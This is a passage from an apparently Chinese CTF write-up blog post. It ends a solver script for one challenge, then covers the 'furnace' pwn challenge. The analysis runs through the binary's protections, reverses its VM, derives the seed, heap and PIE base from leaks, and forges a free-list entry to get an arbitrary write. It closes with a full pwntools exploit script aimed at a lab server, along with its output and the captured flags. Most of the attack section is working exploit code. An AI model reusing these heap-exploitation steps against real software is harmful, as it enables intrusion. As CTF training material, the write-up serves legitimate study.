    flags = re.findall(rb"flag\{[^}\r\n]+\}", payload)

    print(f"key={key.hex()}")
    print(f"nonce_prefix={nonce_prefix.hex()}")
    print(f"iv={iv.hex()}")
    print(f"candidate_sha256={hashlib.sha256(candidate).hexdigest()}")
    print(f"payload_size={payload_size}")
    print(f"crc32={actual_crc:08x} (stored {stored_crc:08x})")
    print(f"checker_hash={transformed_hash.hex()}")
    print(f"expected_hash={expected_hash.hex()}")

    if actual_crc != stored_crc:
        raise SystemExit("CRC verification failed")
    if transformed_hash != expected_hash:
        raise SystemExit("real checker-path verification failed")
    if len(flags) != 1:
        raise SystemExit(f"expected one flag, found {len(flags)}")

    args.output.write_bytes(candidate)
    print(f"flag={flags[0].decode('ascii')}")
    print(f"wrote={args.output}")


if __name__ == "__main__":
    main()

flag{76E68C671CB6DC5DC69FA8BE6EFA9CF0}

pwn

GY10-furnace

furnace

先查保护,保护全开

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
    SHSTK:      Enabled
    IBT:        Enabled
❯ 

解题思路

逆向 VM,理清指令与数据结构

main 读入 1 字节,经 qword_5060 映射表分派:''(0x60)→退出,'a'~'j'`→handler 1~10。关键全局(.bss):

0x5010 n96_0           # 'g' 泄漏预算(96)
0x51C0 buf_[0xC8]      # 文件名缓冲(sub_12ED 打开它的内容)
0x5240 qword_5240      # 编码的函数指针"钥匙",程序从不写入(必须漏洞写入)
0x5288 dword_5288      # 淬炼计数
0x528C byte_528C       # 验证通过标志
0x5290 byte_5290[8]    # 'g' 每槽泄漏游标
0x52A0 unk_52A0[24*8]  # 每槽 24 字节"工艺记录"(加密存放)
0x5360 byte_5360[8]    # 槽位状态(0空/1投料/2淬炼完成/3待淬炼)
0x5380 qword_5380[8]   # 槽位 → 节点指针
0x53C8 seed            # AT_RANDOM 前 8 字节
0x53D0 自由链表头

翻译vm指令语义:

*指令* *功能*
a 找空槽,从自由链表弹节点(校验:node[0] == enc(node)^node[48]^seed,且仅当 node[56]==0xF4EE00000002 时校验;通过则 head = node[48]^enc48(node)^seed),清零 node[0..47],tag=0xA11CE0000001,状态=1
b read 写节点:slot+offset+len,off+len ≤ 状态2?56:48 —— *状态2可写 node[48](编码 next)与 node[0]*
c 从节点读:slot+offset+len,off+len ≤ 状态2?16:48
d 淬炼:状态3(需 tag=A11CE)→ 写 tag=F4EE,node[48]=seed^head^enc48(node),推入链表,写 24 字节记录,node[i]=i^(seed>>3*(i&7)) (i=0..15,随后再次 sub_13EA 覆盖 node[0..7]),状态=2,dword_5288++;状态2 → *无 tag 校验再次推入链表并清槽*(>>11 编码,pop 时按 >>12 解码,会产生畸形指针)
e 状态 1→3
f 清槽(状态2):状态=0、qword_5380[slot]=0
g 逐字节输出 unk_52A0[24*slot + cursor](%02x),预算 96 字节
h 化验:4 字节输入 == low32(seed) ^ low32(((u64(buf_[0:8]) ^ 2*seed) >> 12) * 0x7F4A7C15)dword_5288>1buf_[0]!=0qword_5240!=0byte_528C=1
退出 byte_528C && qword_5240 时调用 (seed ^ qword_5240)() —— 即解码后的函数指针

指针编码:enc(P) = 0x9E3779B97F4A7C15*(P>>12),enc48(P) = 0x9E3779B97F4A7C15*((P+48)>>12);sub_12ED()openat(AT_FDCWD, buf_, 0) 并把文件内容 dump 到 stdout —— 这就是"通往车端机密的钥匙"。

泄漏并推导 seed / 堆 / PIE

  1. a×5 弹空初始 5 节点(槽位 04);e+d 依次淬炼槽位 04(槽位 0 淬炼时链表为空 → 记录第三项=0)。
  2. c 读槽位 0 节点前 16 字节:*seed 低 29 位*藏在 node[8..15] = i ^ (seed >> 3*(i&7))(node[0..7] 被第二次 sub_13EA 覆盖)。
  3. g 泄漏槽位 0/1 的 24 字节记录(解密流 0xA5,0xB6,...,0x2C 共 24 字节,XOR 即得明文):
entry0 = [ seed^P1, seed^sub_12ED^enc(P1), 0 ]
entry1 = [ seed^P2, seed^sub_12ED^enc(P2), seed^P1^enc48(P2) ]

推导:

enc48(P2)   = entry1[2] ^ entry0[0]          → 逆黄金常量 → (P2+48)>>12
P2 低 12 位  = entry1[0] 低12位 ^ seed低12位  → P2 完整地址
seed        = entry1[0] ^ P2
P1          = entry0[0] ^ seed
PIE base    = entry0[1] ^ seed ^ enc(P1) - 0x12ED

伪造自由链表 → 任意写 → cat flag

  • b(槽位0,状态2)写 P1[48] = seed ^ T ^ enc48(P1)P1[0] = T ^ enc(P1) ^ enc48(P1)(同时满足 a 的校验)。
  • a 依次弹出:弹出 P1 后 head = T;再 a 弹出 T 作为"节点"——T 的 T[56] != F4EE 时跳过校验,T[48] == 0 时链表收尾干净——于是 T 被当作槽位节点,b 即可向 T 任意写 ≤48 字节(state 1)。
  • T1 = base+0x5240:qword_5240 = seed ^ sub_12ED(钥匙);槽位循环回收后再取 T2 = base+0x51C0:buf_ = "/flag"
  • h 化验:按上述公式(注意 xor rsi, cs:buf_*内存操作数*,用的是 buf_ 的内容)算出 4 字节值 → byte_528C=1
  • 发送 ```(0x60)退出 → (seed ^ qword_5240)() = sub_12ED() → 打开 /flag 并输出。

Exp

import sys
from pwn import *

GOLDEN = 0x9E3779B97F4A7C15
MASK = (1 << 64) - 1
INV_GOLDEN = pow(GOLDEN, -1, 1 << 64)
XKEY = bytes(((0xA5 + 0x11 * i) & 0xFF) for i in range(24))
SUB_12ED_OFF, OFF_BUF, OFF_Q5240 = 0x12ED, 0x51C0, 0x5240

context.log_level = 'info'

def enc(p):  return (GOLDEN * (p >> 12)) & MASK
def enc48(p): return (GOLDEN * ((p + 48) >> 12)) & MASK

class Furnace:
    def __init__(self, io): self.io = io
    def rx(self, n): return self.io.recvn(n)
    def cmd(self, c): self.io.send(bytes([c]))
    def expect(self, s, what):
        got = self.rx(len(s)); assert got == s, f"{what}: {got!r} want {s!r}"; return got
    def feed(self):
        self.cmd(0x61); r = self.rx(3)
        assert r[0] == ord('i') and r[2] == ord('\n'), f"feed: {r!r}"
        return r[1] - 0x30
    def qstate(self, slot):
        self.cmd(0x65); self.io.send(bytes([slot])); r = self.rx(4)
        assert r.startswith(b's=') and r[3] == 0x0A, f"qstate: {r!r}"
        return r[2] - 0x30
    def quench(self, slot): self.cmd(0x64); self.io.send(bytes([slot])); self.expect(b'.\n', 'quench')
    def clear(self, slot):  self.cmd(0x66); self.io.send(bytes([slot])); self.expect(b'.\n', 'clear')
    def wnode(self, slot, off, data):
        self.cmd(0x62); self.io.send(bytes([slot, off, len(data)]) + data); self.expect(b'.\n', 'wnode')
    def rnode(self, slot, off, n):
        self.cmd(0x63); self.io.send(bytes([slot, off, n])); data = self.rx(n); self.expect(b'\n', 'rnode'); return data
    def leak(self, slot, count):
        out = b''
        for _ in range(count):
            self.cmd(0x67); self.io.send(bytes([slot])); out += self.rx(3)
        return bytes(int(out[3*i:3*i+2], 16) for i in range(count))
    def assay(self, val):
        self.cmd(0x68); self.io.send(p32(val & 0xFFFFFFFF)); r = self.io.recvuntil(b'\n')
        if r == b'ok\n': return True
        assert r == b'x\n', f"assay: {r!r}"
        return False
    def exit_cmd(self): self.cmd(0x60)

def derive(entry0, entry1, fill):
    a0, b0, c0 = u64(entry0[0:8]), u64(entry0[8:16]), u64(entry0[16:24])
    a1, b1, c1 = u64(entry1[0:8]), u64(entry1[8:16]), u64(entry1[16:24])
    assert c0 == 0, f"entry0 qword2 should be 0, got {c0:#x}"
    sl29 = 0                                 
    for i in range(8, 16):                    
        sl29 |= ((fill[i] ^ i) & 0xFF) << (3 * (i & 7))
    sl29 &= 0x1FFFFFFF
    r = (INV_GOLDEN * (c1 ^ a0)) & MASK     
    p2_low12 = (a1 ^ sl29) & 0xFFF
    for cand in (r, r - 1):                 
        p2 = ((cand << 12) | p2_low12) & MASK
        s = (a1 ^ p2) & MASK
        if (s & 0x1FFFFFFF) != sl29: continue
        p1 = (a0 ^ s) & MASK
        if p2 >= p1 or (p1 - p2) > 0x1000: continue
        if (b0 ^ s ^ enc(p1)) != (b1 ^ s ^ enc(p2)): continue
        base = ((b0 ^ s ^ enc(p1)) - SUB_12ED_OFF) & MASK
        if base & 0xFFF: continue
        if (s ^ p1 ^ enc48(p2)) & MASK != c1: continue
        return s, p1, p2, base
    return None

def run(io, flag_path):
    f = Furnace(io)
    assert f.rx(12) == b'furnace/10\n'
    for _ in range(5): f.feed()                  
    for s in range(5):                              
        assert f.qstate(s) == 3; f.quench(s)
    for s in (2, 3, 4): f.clear(s)                  
    fill = f.rnode(0, 0, 16)
    d0 = bytes(b ^ k for b, k in zip(f.leak(0, 24), XKEY))
    d1 = bytes(b ^ k for b, k in zip(f.leak(1, 24), XKEY))
    S, P1, P2, base = derive(d0, d1, fill)
    log.success(f"S={S:#x} P1={P1:#x} P2={P2:#x} base={base:#x}")
    q5240, buf = base + OFF_Q5240, base + OFF_BUF

    f.wnode(0, 0, p64(q5240 ^ enc(P1) ^ enc48(P1)))
    f.wnode(0, 48, p64(S ^ q5240 ^ enc48(P1)))
    for want in (2, 3, 4, 5, 6, 7):
        assert f.feed() == want                     
    f.wnode(7, 0, p64(S ^ (base + SUB_12ED_OFF)))    

    for s in (2, 3, 4, 5, 6):
        assert f.qstate(s) == 3; f.quench(s); f.clear(s)
    f.wnode(0, 0, p64(buf ^ enc(P1) ^ enc48(P1)))
    f.wnode(0, 48, p64(S ^ buf ^ enc48(P1)))
    assert f.feed() == 2                           
    assert f.feed() == 3                              
    f.wnode(3, 0, flag_path)

    content = u64(flag_path.ljust(8, b'\x00')[:8])   
    expected = (S & 0xFFFFFFFF) ^ (((((content ^ (2 * S)) >> 12) & 0xFFFFFFFF) * 0x7F4A7C15) & 0xFFFFFFFF)
    assert f.assay(expected)
    f.exit_cmd()
    return io.recvall(timeout=3)

def main():
    if '--local' in sys.argv:
        make = lambda: process('./furnace'); paths = [b'flag']
    else:
        make = lambda: remote('192.168.18.21', 7777)
        paths = [b'/flag', b'flag', b'./flag', b'flag.txt', b'/flag.txt']
    for path in paths:
        log.info(f"trying path {path!r}")
        io = make()
        try:
            out = run(io, path)
            if out.strip():
                log.success(f"path {path!r}: {out!r}"); break
        finally:
            io.close()

if __name__ == '__main__':
    main()

运行输出:

[+] S=0xba3235b4681d8090 P1=0x5642611a63e0 P2=0x5642611a6390 base=0x564260191000
[+] path b'/flag': b'flag{furn4c3_aii525sd_jut868bm_y1txrtvj_g2utpf}\n.\n'
posted @ 2026-08-13 17:14  wgf4242  阅读(20)  评论(0)    收藏  举报